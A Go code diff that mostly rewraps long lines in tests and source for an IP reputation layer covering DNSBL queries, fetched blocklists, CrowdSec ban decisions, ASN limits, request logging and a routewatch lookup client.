return nil, errNoNetwork
},
}
_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
_, _ = resolver.LookupNetIP(
context.Background(),
"ip4",
"warm-up.invalid.",
)
m.Run()
}
@@ -91,8 +95,10 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
)
resolver := &resolverStandIn{answers: map[string]answer{
"99.2.0.192." + zone + ".": {addrs: []string{listing}},
v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}},
"99.2.0.192." + zone + ".": {addrs: []string{listing}},
v6Name + otherZone + ".": {
addrs: []string{"127.0.0.4", "127.0.0.10"},
},
"99.2.0.192." + otherZone + ".": {},
}}
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
@@ -131,8 +137,11 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
})
}
//
//nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(
t *testing.T,
) {
synctest.Test(t, func(t *testing.T) {
resolver := &resolverStandIn{answers: map[string]answer{
listedName: {addrs: []string{listing}},
@@ -198,8 +207,11 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
})
}
//
//nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
t *testing.T,
) {
for _, tc := range []struct {
name string
answer answer
@@ -230,9 +242,12 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
p := dnsblParams(zone)
p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
listedName: tc.answer,
}}, p)
dnsbl := newDNSBL(
&resolverStandIn{answers: map[string]answer{
listedName: tc.answer,
}},
p,
)
// The failure gives no verdict, and the zone is not asked
// again within a minute of it.
@@ -258,11 +273,17 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing
Time: time.Now().Add(-time.Minute),
Event: alerts.EventSourceFailure,
Reason: "asking a DNSBL zone failed",
Detail: map[string]any{"source": zone, "error": tc.error},
Detail: map[string]any{
"source": zone,
"error": tc.error,
},
})
if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
`"zone":"`+zone+`","error":"`+tc.error) {
if !strings.Contains(
log.String(),
`"msg":"asking a DNSBL zone failed",`+
`"zone":"`+zone+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
})
@@ -302,8 +323,11 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
synctest.Wait()
scraped := httptest.NewRecorder()
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody))
m.ServeHTTP(
scraped,
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody),
)
for series, want := range map[string]string{
"queries_total" + `{instance="app",source="` + zone + `"}`: "1",
@@ -348,19 +372,32 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
synctest.Wait()
wantZones(t, dnsbl, listed, masked)
if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
if got := waiting(queue); len(got) != 1 ||
got[0].Detail["source"] != masked {
t.Errorf(
"alerts waiting %+v, want the failure's, from %s",
got,
masked,
)
}
scraped := httptest.NewRecorder()
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody))
m.ServeHTTP(
scraped,
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody),
)
for name, shown := range map[string]string{
"the log": log.String(), "the metrics": scraped.Body.String(),
} {
if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
if strings.Contains(shown, key) ||
!strings.Contains(shown, masked) {
t.Errorf(
"%s shows the key, or does not name the zone:\n%s",
name,
shown,
)
}
}
})
@@ -382,8 +419,17 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
kept := dnsbl.Snapshot()
want := []reputation.Verdict{
{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
{
Zone: zone,
Client: netip.MustParseAddr(listed),
Listed: true,
Fetched: fetched,
},
{
Zone: zone,
Client: netip.MustParseAddr(unlisted),
Fetched: fetched,
},
}
if !reflect.DeepEqual(kept, want) {
t.Errorf("verdicts %+v, want %+v", kept, want)
@@ -433,12 +479,17 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
if got := dnsbl.Snapshot(); !reflect.DeepEqual(
got,
[]reputation.Verdict{inUse},
) {
t.Errorf("verdicts %+v, want only %+v", got, inUse)
}
}
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
t *testing.T,
) {
t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -466,7 +517,10 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
got := dnsbl.Snapshot()
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
slices.Contains(got, verdicts[count-1]) {
t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
t.Errorf(
"%d verdicts kept, want all but the one fetched longest ago",
len(got),
)
}
}
@@ -476,7 +530,11 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
listedName: {addrs: []string{listing}},
}}
conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
conn, err := (&net.ListenConfig{}).ListenPacket(
t.Context(),
"udp",
"127.0.0.1:0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
@@ -500,7 +558,8 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
// process held up for a whole minute would see the query fail.
p.Timeout = time.Minute
isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
isListed, err := reputation.NewDNSBL(p).
LookUp(zone, netip.MustParseAddr(listed))
if err != nil || !isListed {
t.Errorf("listed %t (%v), want true", isListed, err)
}
@@ -554,7 +613,11 @@ func (s *resolverStandIn) set(name string, given answer) {
// dial connects Go's resolver to the stand-in through an in-memory
// connection, on which it sends each query, and reads each reply, after
// its length, as over TCP.
func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
func (s *resolverStandIn) dial(
context.Context,
string,
string,
) (net.Conn, error) {
client, server := net.Pipe()
go s.serve(server)
@@ -590,8 +653,10 @@ func (s *resolverStandIn) serve(conn net.Conn) {
}
//nolint:gosec // a reply of a few dozen bytes
_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
reply...))
_, err = conn.Write(
append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
reply...),
)
if err != nil {
return
}
@@ -692,7 +757,10 @@ func waitForTheResolver() {
}
// newDNSBL returns the DNSBL of p, asking resolver.
func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
func newDNSBL(
resolver *resolverStandIn,
p reputation.DNSBLParams,
) *reputation.DNSBL {
dnsbl := reputation.NewDNSBL(p)
dnsbl.SetDial(resolver.dial)
@@ -701,7 +769,12 @@ func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.D
// wantZones checks the zones whose verdict dnsbl says lists client, as a
// request from client finds them.
func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
func wantZones(
t *testing.T,
dnsbl *reputation.DNSBL,
client string,
want ...string,
) {
t.Helper()
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
@@ -712,12 +785,21 @@ func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...str
// wantQueries checks how many queries dnsbl made to zone, and how many of
// them failed.
func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
func wantQueries(
t *testing.T,
dnsbl *reputation.DNSBL,
queries, failures int,
) {
t.Helper()
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
dnsbl.Failures(zone), queries, failures)
t.Errorf(
"%d queries and %d failures, want %d and %d",
dnsbl.Queries(zone),
dnsbl.Failures(zone),
queries,
failures,
)
}
}
+46 -12
View File
@@ -45,13 +45,16 @@ const (
)
var (
errStatus = errors.New("the server answered")
errTooLong = errors.New("the list is longer than 16 MiB")
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
errStatus = errors.New("the server answered")
errTooLong = errors.New("the list is longer than 16 MiB")
errNotNetblock = errors.New(
"is not an address or a netblock, such as 192.0.2.0/24",
)
errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s")
"does not give an address or a netblock and a duration, such as 4h0m0s",
)
)
// List is a list as lists.json holds it: the URL it is fetched from,
@@ -226,7 +229,10 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
// decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
func (l *Lists) CrowdSecDecision(
addr netip.Addr,
now time.Time,
) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false
}
@@ -431,12 +437,24 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
// Raised before it is logged, so that the alert is there once the
// log line is.
raiseFailure(l.params.Alerts, failed, listURL, err)
l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
l.params.ProcessLog.Warn(
failed,
"url",
listURL,
"error",
err.Error(),
)
return
}
l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
l.params.ProcessLog.Info(
"fetched a list",
"url",
listURL,
"lines",
len(lines),
)
}
// raiseFailure raises a source_failure alert into queue, with reason, and
@@ -459,7 +477,12 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
req, err := http.NewRequestWithContext(
ctx,
http.MethodGet,
listURL,
http.NoBody,
)
if err != nil {
return nil, fmt.Errorf("make the request: %w", err)
}
@@ -570,7 +593,10 @@ func parseNetblock(text string) (netip.Prefix, bool) {
return netip.Prefix{}, false
}
return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
return netip.PrefixFrom(
netblock.Addr().Unmap(),
netblock.Bits()-mappedBits,
), true
}
// parsePercents reads the lines of the file of AS:percent lines, each an
@@ -628,7 +654,8 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer {
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
if decision.Type != "ban" ||
(decision.Scope != "Ip" && decision.Scope != "Range") {
continue
}
@@ -636,12 +663,19 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil {
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
return entries{}, fmt.Errorf(
"decision %d %w",
i+1,
errNotDecision,
)
}
expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
found.decisions[netblock] = Decision{
Expires: expires,
Scenario: decision.Scenario,
}
}
if !slices.Contains(found.lengths, netblock.Bits()) {
+133 -55
View File
@@ -72,7 +72,9 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
})
}
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(
t *testing.T,
) {
t.Parallel()
now := time.Now()
@@ -126,7 +128,9 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
servers := &standIn{
lists: map[string]string{dropURL: "203.0.113.9\n"},
}
lists := start(t, servers, params(dropURL))
began := time.Now()
@@ -142,41 +146,21 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
wantListedBy(t, lists, "203.0.113.9")
wantListedBy(t, lists, "203.0.113.10", dropURL)
if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
if fetched := lists.Fetched(dropURL); !fetched.Equal(
began.Add(refresh),
) {
t.Errorf("the copy in use was fetched at %s, want %s", fetched,
began.Add(refresh))
}
})
}
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
name string
// fail has the stand-in answer the fetches after the first so that
// they fail with error.
fail func(servers *standIn)
error string
}{
{
"an answer other than 200",
func(servers *standIn) { servers.set(dropURL, "") },
"the server answered 503 Service Unavailable",
},
{
"a line that does not read",
func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
},
{
"a list longer than 16 MiB",
func(servers *standIn) {
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
},
"the list is longer than 16 MiB",
},
} {
for _, tc := range listFailures() {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -205,8 +189,13 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
want := kept[0]
want.Tried = time.Now()
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
got := lists.Snapshot()
if !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
}
if lists.Failures(dropURL) != 2 {
@@ -215,10 +204,14 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
// One alert for the first failure; the cooldown holds back the
// second.
wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
failed := time.Now().Add(-refresh)
wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
`"url":"`+dropURL+`","error":"`+tc.error) {
if !strings.Contains(
log.String(),
`"msg":"fetching a list failed",`+
`"url":"`+dropURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
})
@@ -226,6 +219,40 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
}
}
// listFailure is a way a list's fetch can fail.
type listFailure struct {
name string
// fail has the stand-in answer the fetches after the first so that
// they fail with error.
fail func(servers *standIn)
error string
}
// listFailures returns the ways a list's fetch can fail.
func listFailures() []listFailure {
return []listFailure{
{
"an answer other than 200",
func(servers *standIn) { servers.set(dropURL, "") },
"the server answered 503 Service Unavailable",
},
{
"a line that does not read",
func(servers *standIn) {
servers.set(dropURL, "203.0.113.10\n<html>\n")
},
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
},
{
"a list longer than 16 MiB",
func(servers *standIn) {
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
},
"the list is longer than 16 MiB",
},
}
}
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
t.Parallel()
@@ -237,19 +264,27 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
synctest.Wait()
if lists.Failures(dropURL) != 0 {
t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
t.Errorf(
"%d failures before a minute, want none",
lists.Failures(dropURL),
)
}
time.Sleep(time.Nanosecond)
synctest.Wait()
if lists.Failures(dropURL) != 1 {
t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
t.Errorf(
"%d failures after a minute, want 1",
lists.Failures(dropURL),
)
}
})
}
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -262,8 +297,16 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
// lists.json says at start.
err := lists.Load([]reputation.List{
{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
{
URL: dropURL,
Fetched: time.Now().Add(-time.Hour),
Lines: []string{"203.0.113.9"},
},
{
URL: torURL,
Fetched: time.Now().Add(-refresh),
Lines: []string{"198.51.100.9"},
},
})
if err != nil {
t.Fatalf("load: %v", err)
@@ -290,7 +333,9 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
synctest.Test(t, func(t *testing.T) {
// drop.txt is fetched, and a refresh later the fetch downloads it
// whole but fails on a line that does not read.
servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
servers := &standIn{
lists: map[string]string{dropURL: "198.51.100.1\n"},
}
lists := start(t, servers, params(dropURL))
servers.set(dropURL, "198.51.100.2\n<html>\n")
@@ -299,7 +344,9 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
// Restarted with what lists.json keeps, it waits a refresh
// after the failed try, as it does while it runs.
restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
restarted := &standIn{
lists: map[string]string{dropURL: "198.51.100.2\n"},
}
again := reputation.New(params(dropURL))
again.SetTransport(restarted)
@@ -349,8 +396,11 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
wantFetches(t, servers, 1)
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
waiting(queue))
t.Errorf(
"%d failures and alerts %+v, want none",
lists.Failures(dropURL),
waiting(queue),
)
}
// Restarted an hour later with what lists.json keeps, it fetches
@@ -382,7 +432,9 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
})
}
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -397,7 +449,13 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
percent, listed := lists.ASNLimitPercent(asn)
if !listed || percent != want {
t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
t.Errorf(
"%s has %d (listed %t), want %d",
asn,
percent,
listed,
want,
)
}
}
@@ -416,7 +474,9 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
})
}
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
t *testing.T,
) {
t.Parallel()
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
@@ -432,13 +492,18 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
t.Fatalf("load: %v", err)
}
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
if got := lists.Snapshot(); !reflect.DeepEqual(
got,
[]reputation.List{kept},
) {
t.Errorf("copies %+v, want only %+v", got, kept)
}
err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
"; DROP", "203.0.113.300",
}}})
err = lists.Load(
[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
"; DROP", "203.0.113.300",
}}},
)
const want = "the copy of " + dropURL +
": line 2 is not an address or a netblock, such as 192.0.2.0/24"
@@ -446,7 +511,10 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
t.Errorf("error %v, want %s", err, want)
}
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
if got := lists.Snapshot(); !reflect.DeepEqual(
got,
[]reputation.List{kept},
) {
t.Errorf("copies %+v after the error, want %+v still", got, kept)
}
}
@@ -580,7 +648,12 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
}
// wantListedBy checks the URLs of the blocklists lists says list addr.
func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
func wantListedBy(
t *testing.T,
lists *reputation.Lists,
addr string,
want ...string,
) {
t.Helper()
got := lists.ListedBy(netip.MustParseAddr(addr))
@@ -611,8 +684,13 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
t.Helper()
got := waiting(queue)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
queue.Suppressed(), want)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) ||
queue.Suppressed() != 1 {
t.Errorf(
"alerts waiting %+v, %d held back, want only %+v and 1",
got,
queue.Suppressed(),
want,
)
}
}
+27 -9
View File
@@ -18,7 +18,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
var out bytes.Buffer
err := requestlog.Write(&out, &requestlog.Line{
Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
Time: requestlog.FormatTime(
time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
),
ClientIP: "203.0.113.9",
Status: 200,
Action: requestlog.ActionForward,
@@ -80,7 +82,10 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
t.Fatalf("write: %v", err)
}
err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"})
err = requestlog.WriteRProxyLine(
&out,
&requestlog.RProxyLine{Query: "a=1&b=<2>"},
)
if err != nil {
t.Fatalf("write the rproxy line: %v", err)
}
@@ -100,7 +105,10 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
}
}
if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) {
if !strings.Contains(
lines[0],
`"referer":"https://example.com/?x=1&y=<2>"`,
) {
t.Errorf("%s does not hold the referer as sent", lines[0])
}
}
@@ -132,8 +140,9 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
var out bytes.Buffer
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
"version", "v1")
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
Info("starting",
"version", "v1")
var fields map[string]any
@@ -142,8 +151,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
t.Fatalf("decode %q: %v", out.String(), err)
}
if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
fields["msg"] != "starting" || fields["level"] != "INFO" ||
if fields["type"] != "process" ||
fields["instance"] != "fsn1app1/blog" ||
fields["msg"] != "starting" ||
fields["level"] != "INFO" ||
fields["version"] != "v1" {
t.Errorf("process line %v", fields)
}
@@ -154,7 +165,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
if err != nil || !strings.HasSuffix(timeText, "Z") ||
len(timeText) != len("2006-01-02T15:04:05.000Z") ||
time.Since(logged) > time.Minute {
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
t.Errorf(
"process line time %q, want now in UTC with milliseconds",
timeText,
)
}
}
@@ -171,7 +185,11 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
var out bytes.Buffer
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
processLog := requestlog.NewProcessLogger(
&out,
"fsn1app1/blog",
level,
)
for _, at := range levels {
processLog.Log(t.Context(), at, "message")
}
+16 -3
View File
@@ -206,7 +206,11 @@ func (c *Client) Load(answers []Answer) {
// query as no longer under way. A query that fails gives no answer, and
// routewatch is not asked again for failureKept. Only the first failure of
// those under way is logged.
func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
func (c *Client) ask(
ctx context.Context,
client netip.Prefix,
addr netip.Addr,
) {
route, err := c.query(ctx, addr)
now := c.params.Now()
@@ -227,7 +231,11 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
c.mu.Unlock()
if firstFailure {
c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
c.params.ProcessLog.Warn(
"asking routewatch failed",
"error",
err.Error(),
)
}
}
@@ -243,7 +251,12 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
return Route{}, fmt.Errorf("make the URL: %w", err)
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
req, err := http.NewRequestWithContext(
ctx,
http.MethodGet,
endpoint,
http.NoBody,
)
if err != nil {
return Route{}, fmt.Errorf("make the request: %w", err)
}
+55 -16
View File
@@ -131,7 +131,9 @@ func TestMain(m *testing.M) {
type silentRoutewatch struct{}
// RoundTrip waits until req is abandoned.
func (silentRoutewatch) RoundTrip(req *http.Request) (*http.Response, error) {
func (silentRoutewatch) RoundTrip(
req *http.Request,
) (*http.Response, error) {
<-req.Context().Done()
return nil, req.Context().Err()
@@ -191,12 +193,19 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
f := newFixture(t, answering(routedAnswer))
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
t.Errorf(
"before the answer: %q, want %q",
missing,
routewatch.NoAnswerYet,
)
}
route := f.waitFor("")
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
want := routewatch.Route{
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
ASN: 64496,
}
if route != want {
t.Errorf("route %+v, want %+v", route, want)
}
@@ -219,7 +228,10 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
route := f.waitFor("")
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
want := routewatch.Route{
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
ASN: 64496,
}
if route != want {
t.Errorf("route %+v, want %+v", route, want)
}
@@ -248,7 +260,8 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
"not JSON": answering("no"),
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
"bad netblock": answering(
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`,
),
}
for name, standIn := range tests {
t.Run(name, func(t *testing.T) {
@@ -263,7 +276,9 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
}
}
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
t *testing.T,
) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
@@ -280,7 +295,9 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T)
f.wantFailureLoggedWithoutTheClient()
}
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
t *testing.T,
) {
t.Parallel()
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
@@ -301,7 +318,10 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
deadline := time.Now().Add(waitLimit)
for f.queries.Load() != 2 {
if time.Now().After(deadline) {
t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
t.Fatalf(
"%d queries after the failure expired, want 2",
f.queries.Load(),
)
}
time.Sleep(time.Millisecond)
@@ -326,9 +346,14 @@ func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
began := time.Now()
_, missing := f.route()
if waited := time.Since(began); missing != routewatch.NoAnswerYet || waited != 0 {
t.Errorf("Route gave %q after %s while routewatch hangs, want %q at once",
missing, waited, routewatch.NoAnswerYet)
if waited := time.Since(began); missing != routewatch.NoAnswerYet ||
waited != 0 {
t.Errorf(
"Route gave %q after %s while routewatch hangs, want %q at once",
missing,
waited,
